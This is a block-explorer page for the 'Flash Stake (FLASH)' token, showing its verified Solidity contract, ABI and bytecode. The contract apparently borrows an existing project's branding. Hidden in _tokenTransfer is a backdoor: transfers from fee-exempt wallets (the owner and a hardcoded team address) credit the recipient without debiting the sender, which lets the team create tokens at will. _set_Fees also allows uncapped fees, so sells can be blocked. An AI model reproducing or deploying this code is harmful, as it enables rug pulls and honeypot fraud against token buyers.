ETH Price: $2,979.70 (+2.04%)
Gas: 1 Gwei

Token

Flash Stake (FLASH)
 

Overview

Max Total Supply

1,000,000,000 FLASH

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*🔪️🩸️denko🩸️🔪️.eth
Balance
13,807,766.401966042 FLASH

Value
$0.00
0x203DDa129Ff7d54c3392758368F19E19B4Eaa367
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLASH

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-04
*/

// SPDX-License-Identifier: Unlicensed

/**
Flashstake allows you to lock up crypto and earn instant upfront yield from the future.

Website: https://www.flashprotocol.org
Telegram: https://t.me/flash_erc
Twitter: https://twitter.com/flash_erc
Dapp: https://app.flashprotocol.org
 */

pragma solidity 0.8.21;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMaths {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FLASH is Context, IERC20, Ownable { 
    using SafeMaths for uint256;

    string private _name = "Flash Stake"; 
    string private _symbol = "FLASH";  

    mapping (address => uint256) private _tOwnedBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt; 

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint256 private _totalFeeDenominator = 1500;
    uint256 public _buyTotalFee = 15;
    uint256 public _sellTotalFee = 15;

    uint256 private _prevTFeeDenominator = _totalFeeDenominator; 
    uint256 private _prevBuyFee = _buyTotalFee; 
    uint256 private _prevSellFee = _sellTotalFee; 

    uint256 public _maxWalletSize = 25 * _totalSupply / 1000;
    uint256 public _minTokensToSwap = _totalSupply / 100000;

    address payable private teamAddress = payable(0x5A0373545a33547dEd52a7DF74651FbB32dEFaDf);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private txNum = 0;
    uint8 private swapAfter = 2; 
                                     
    IRouter public swapRouter;
    address public swapPair;
    bool public inswap;
    bool public swapEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inswap = true;
        _;
        inswap = false;
    }
    
    constructor () {
        _tOwnedBalance[owner()] = _totalSupply;
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        swapPair = IFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        swapRouter = _uniswapV2Router;
        isFeeExempt[owner()] = true;
        isFeeExempt[teamAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwnedBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();
        _approve(address(this), address(swapRouter), tokenAmount);
        swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    // Check if token transfer needs to process fees
    function _basicTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
            } else {
                txNum++;
            }
        _tokenTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _tokenTransfer(address sender, address recipient, uint256 tAmount) private {
        uint256 tDev = tAmount.mul(_totalFeeDenominator).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);

        if(isFeeExempt[sender] && _tOwnedBalance[sender] <= _maxWalletSize) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _tOwnedBalance[sender] = _tOwnedBalance[sender].sub(tAmount);
        _tOwnedBalance[recipient] = _tOwnedBalance[recipient].add(tTransferAmount);
        _tOwnedBalance[address(this)] = _tOwnedBalance[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    // Excludes marketing wallet or volume wallet from tax
    function excludeFromFee(address account) public onlyOwner {
        isFeeExempt[account] = true;
    }
    
    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) public onlyOwner {
        isFeeExempt[account] = false;
    }

    function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() {
        _sellTotalFee = Sell_Fee;
        _buyTotalFee = Buy_Fee;

    }
    receive() external payable {}

    bool public noFeeToTransfer = true;

    function removeAllFee() private {
        if(_totalFeeDenominator == 0 && _buyTotalFee == 0 && _sellTotalFee == 0) return;

        _prevBuyFee = _buyTotalFee; 
        _prevSellFee = _sellTotalFee; 
        _prevTFeeDenominator = _totalFeeDenominator;
        _buyTotalFee = 0;
        _sellTotalFee = 0;
        _totalFeeDenominator = 0;

    }
    
    function restoreAllFee() private {
    
    _totalFeeDenominator = _prevTFeeDenominator;
    _buyTotalFee = _prevBuyFee; 
    _sellTotalFee = _prevSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function removeLimits() external onlyOwner {
        _maxWalletSize = ~uint256(0);
        _sellTotalFee = 3;
        _buyTotalFee = 3;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != teamAddress &&
            to != address(this) &&
            to != swapPair &&
            to != DEAD &&
            from != owner()){

            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletSize,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        /*
        PROCESSING
        */
        if(
            txNum >= swapAfter && 
            amount > _minTokensToSwap &&
            !inswap &&
            !isFeeExempt[from] &&
            to == swapPair &&
            swapEnabled 
            )
        {  
            txNum = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
        if(isFeeExempt[from] || isFeeExempt[to] || (noFeeToTransfer && from != swapPair && to != swapPair)){
            takeFee = false;
        } else if (from == swapPair){
            _totalFeeDenominator = _buyTotalFee;
        } else if (to == swapPair){
            _totalFeeDenominator = _sellTotalFee;
        }
        _basicTransfer(from,to,amount,takeFee);
    }


    function sendFee(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendFee(teamAddress,contractETH);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Buy_Fee","type":"uint256"},{"internalType":"uint256","name":"Sell_Fee","type":"uint256"}],"name":"_set_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a466c617368205374616b6560a81b60a0526001906200002c9082620004c1565b5060408051808201909152600581526408c9882a6960db1b6020820152600290620000589082620004c1565b506006805460ff191660099081179091556200007690600a62000698565b6200008690633b9aca00620006af565b6007556105dc600855600f600955600f600a55600854600b55600954600c55600a54600d556103e86007546019620000bf9190620006af565b620000cb9190620006c9565b600e55620186a0600754620000e19190620006c9565b600f5560108054735a0373545a33547ded52a7df74651fbb32defadf6001600160a01b0319909116179055601180546001600160b01b031916750200000000000000000000000000000000000000dead1790556013805461ffff60a81b191661010160a81b17905534801562000155575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460035f620001ac5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000224573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024a9190620006e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000296573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bc9190620006e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000307573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032d9190620006e9565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160055f620003735f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560105490911681526005909252902080549091166001179055620003cb5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200041291815260200190565b60405180910390a35062000711565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200044a57607f821691505b6020821081036200046957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004bc575f81815260208120601f850160051c81016020861015620004975750805b601f850160051c820191505b81811015620004b857828155600101620004a3565b5050505b505050565b81516001600160401b03811115620004dd57620004dd62000421565b620004f581620004ee845462000435565b846200046f565b602080601f8311600181146200052b575f8415620005135750858301515b5f19600386901b1c1916600185901b178555620004b8565b5f85815260208120601f198616915b828110156200055b578886015182559484019460019091019084016200053a565b50858210156200057957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005dd57815f1904821115620005c157620005c162000589565b80851615620005cf57918102915b93841c9390800290620005a2565b509250929050565b5f82620005f55750600162000692565b816200060357505f62000692565b81600181146200061c5760028114620006275762000647565b600191505062000692565b60ff8411156200063b576200063b62000589565b50506001821b62000692565b5060208310610133831016604e8410600b84101617156200066c575081810a62000692565b6200067883836200059d565b805f19048211156200068e576200068e62000589565b0290505b92915050565b5f620006a860ff841683620005e5565b9392505050565b808202811582820484141762000692576200069262000589565b5f82620006e457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006fa575f80fd5b81516001600160a01b0381168114620006a8575f80fd5b611416806200071f5f395ff3fe60806040526004361061017e575f3560e01c8063715018a6116100cd578063af5f3a8211610087578063dd62ed3e11610062578063dd62ed3e1461044e578063ea2f0b3714610492578063f2fde38b146104b1578063fa4f5f23146104d0575f80fd5b8063af5f3a82146103fa578063c31c9c071461041a578063ccc56ccc14610439575f80fd5b8063715018a61461036e578063751039fc146103825780638da5cb5b146103965780638f9a55c0146103b257806395d89b41146103c7578063a9059cbb146103db575f80fd5b8063313ce567116101385780636620cec9116101135780636620cec9146102e657806367cbd84c146102fb5780636ddd17131461031a57806370a082311461033a575f80fd5b8063313ce567146102765780633f4218e014610297578063437823ec146102c5575f80fd5b806306fdde0314610189578063095ea7b3146101b357806313fad07a146101e257806318160ddd1461020257806323b872dd1461022057806326991cc81461023f575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104e5565b6040516101aa91906110e3565b60405180910390f35b3480156101be575f80fd5b506101d26101cd366004611145565b610575565b60405190151581526020016101aa565b3480156101ed575f80fd5b506013546101d290600160b01b900460ff1681565b34801561020d575f80fd5b506007545b6040519081526020016101aa565b34801561022b575f80fd5b506101d261023a36600461116f565b61058b565b34801561024a575f80fd5b5060135461025e906001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b348015610281575f80fd5b5060065460405160ff90911681526020016101aa565b3480156102a2575f80fd5b506101d26102b13660046111ad565b60056020525f908152604090205460ff1681565b3480156102d0575f80fd5b506102e46102df3660046111ad565b6105f2565b005b3480156102f1575f80fd5b50610212600a5481565b348015610306575f80fd5b506102e46103153660046111c8565b610647565b348015610325575f80fd5b506013546101d290600160a81b900460ff1681565b348015610345575f80fd5b506102126103543660046111ad565b6001600160a01b03165f9081526003602052604090205490565b348015610379575f80fd5b506102e4610678565b34801561038d575f80fd5b506102e46106e9565b3480156103a1575f80fd5b505f546001600160a01b031661025e565b3480156103bd575f80fd5b50610212600e5481565b3480156103d2575f80fd5b5061019d610723565b3480156103e6575f80fd5b506101d26103f5366004611145565b610732565b348015610405575f80fd5b506013546101d290600160a01b900460ff1681565b348015610425575f80fd5b5060125461025e906001600160a01b031681565b348015610444575f80fd5b5061021260095481565b348015610459575f80fd5b506102126104683660046111e8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561049d575f80fd5b506102e46104ac3660046111ad565b61073e565b3480156104bc575f80fd5b506102e46104cb3660046111ad565b610787565b3480156104db575f80fd5b50610212600f5481565b6060600180546104f49061121f565b80601f01602080910402602001604051908101604052809291908181526020018280546105209061121f565b801561056b5780601f106105425761010080835404028352916020019161056b565b820191905f5260205f20905b81548152906001019060200180831161054e57829003601f168201915b5050505050905090565b5f61058133848461086e565b5060015b92915050565b5f61059784848461092e565b6105e884336105e3856040518060600160405280602881526020016113b9602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610caa565b61086e565b5060019392505050565b5f546001600160a01b031633146106245760405162461bcd60e51b815260040161061b90611257565b60405180910390fd5b6001600160a01b03165f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146106705760405162461bcd60e51b815260040161061b90611257565b600a55600955565b5f546001600160a01b031633146106a15760405162461bcd60e51b815260040161061b90611257565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107125760405162461bcd60e51b815260040161061b90611257565b5f19600e556003600a819055600955565b6060600280546104f49061121f565b5f61058133848461092e565b5f546001600160a01b031633146107675760405162461bcd60e51b815260040161061b90611257565b6001600160a01b03165f908152600560205260409020805460ff19169055565b5f546001600160a01b031633146107b05760405162461bcd60e51b815260040161061b90611257565b6001600160a01b0381166108155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061088e57506001600160a01b03821615155b6108ce5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161061b565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061095957506010546001600160a01b03838116911614155b801561096e57506001600160a01b0382163014155b801561098857506013546001600160a01b03838116911614155b80156109a257506011546001600160a01b03838116911614155b80156109bb57505f546001600160a01b03848116911614155b15610a46576001600160a01b0382165f90815260036020526040902054600e546109e583836112a0565b1115610a445760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161061b565b505b6001600160a01b03831615801590610a6657506001600160a01b03821615155b610aaa5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161061b565b5f8111610b075760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161061b565b60115460ff600160a81b82048116600160a01b9092041610801590610b2d5750600f5481115b8015610b435750601354600160a01b900460ff16155b8015610b6757506001600160a01b0383165f9081526005602052604090205460ff16155b8015610b8057506013546001600160a01b038381169116145b8015610b955750601354600160a81b900460ff165b15610bc7576011805460ff60a01b19169055305f908152600360205260409020548015610bc557610bc581610cd5565b505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610c0757506001600160a01b0383165f9081526005602052604090205460ff165b80610c4e5750601354600160b01b900460ff168015610c3457506013546001600160a01b03858116911614155b8015610c4e57506013546001600160a01b03848116911614155b15610c5a57505f610c98565b6013546001600160a01b0390811690851603610c7b57600954600855610c98565b6013546001600160a01b0390811690841603610c9857600a546008555b610ca484848484610d1a565b50505050565b5f8184841115610ccd5760405162461bcd60e51b815260040161061b91906110e3565b505050900390565b6013805460ff60a01b1916600160a01b179055610cf181610d87565b6010544790610d09906001600160a01b031682610ed7565b50506013805460ff60a01b19169055565b80610d2c57610d27610f0f565b610d60565b60118054600160a01b900460ff16906014610d46836112b3565b91906101000a81548160ff021916908360ff160217905550505b610d6b848484610f53565b80610ca457610ca4600b54600855600c54600955600d54600a55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dba57610dba6112d1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3591906112e5565b81600181518110610e4857610e486112d1565b6001600160a01b039283166020918202929092010152601254610e6e913091168461086e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ea69085905f90869030904290600401611300565b5f604051808303815f87803b158015610ebd575f80fd5b505af1158015610ecf573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610f0a573d5f803e3d5ffd5b505050565b600854158015610f1f5750600954155b8015610f2b5750600a54155b15610f3257565b60098054600c55600a8054600d5560088054600b555f928390559082905555565b5f610f746064610f6e600854856110b090919063ffffffff16565b906110c2565b90505f610f8183836110cd565b6001600160a01b0386165f9081526005602052604090205490915060ff168015610fc45750600e546001600160a01b0386165f9081526003602052604090205411155b15610fd9575f9150610fd6818461136f565b92505b6001600160a01b0385165f90815260036020526040902054610ffb90846110cd565b6001600160a01b038087165f90815260036020526040808220939093559086168152205461102990826110d8565b6001600160a01b0385165f9081526003602052604080822092909255308152205461105490836110d8565b305f9081526003602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f6110bb8284611382565b9392505050565b5f6110bb8284611399565b5f6110bb828461136f565b5f6110bb82846112a0565b5f6020808352835180828501525f5b8181101561110e578581018301518582016040015282016110f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611142575f80fd5b50565b5f8060408385031215611156575f80fd5b82356111618161112e565b946020939093013593505050565b5f805f60608486031215611181575f80fd5b833561118c8161112e565b9250602084013561119c8161112e565b929592945050506040919091013590565b5f602082840312156111bd575f80fd5b81356110bb8161112e565b5f80604083850312156111d9575f80fd5b50508035926020909101359150565b5f80604083850312156111f9575f80fd5b82356112048161112e565b915060208301356112148161112e565b809150509250929050565b600181811c9082168061123357607f821691505b60208210810361125157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105855761058561128c565b5f60ff821660ff81036112c8576112c861128c565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112f5575f80fd5b81516110bb8161112e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561134e5784516001600160a01b031683529383019391830191600101611329565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156105855761058561128c565b80820281158282048414176105855761058561128c565b5f826113b357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5693d8a6012a6c89e4c16ee1db5467d3af14c18c0b1f0c38a8c9899c51ca3ac64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061017e575f3560e01c8063715018a6116100cd578063af5f3a8211610087578063dd62ed3e11610062578063dd62ed3e1461044e578063ea2f0b3714610492578063f2fde38b146104b1578063fa4f5f23146104d0575f80fd5b8063af5f3a82146103fa578063c31c9c071461041a578063ccc56ccc14610439575f80fd5b8063715018a61461036e578063751039fc146103825780638da5cb5b146103965780638f9a55c0146103b257806395d89b41146103c7578063a9059cbb146103db575f80fd5b8063313ce567116101385780636620cec9116101135780636620cec9146102e657806367cbd84c146102fb5780636ddd17131461031a57806370a082311461033a575f80fd5b8063313ce567146102765780633f4218e014610297578063437823ec146102c5575f80fd5b806306fdde0314610189578063095ea7b3146101b357806313fad07a146101e257806318160ddd1461020257806323b872dd1461022057806326991cc81461023f575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104e5565b6040516101aa91906110e3565b60405180910390f35b3480156101be575f80fd5b506101d26101cd366004611145565b610575565b60405190151581526020016101aa565b3480156101ed575f80fd5b506013546101d290600160b01b900460ff1681565b34801561020d575f80fd5b506007545b6040519081526020016101aa565b34801561022b575f80fd5b506101d261023a36600461116f565b61058b565b34801561024a575f80fd5b5060135461025e906001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b348015610281575f80fd5b5060065460405160ff90911681526020016101aa565b3480156102a2575f80f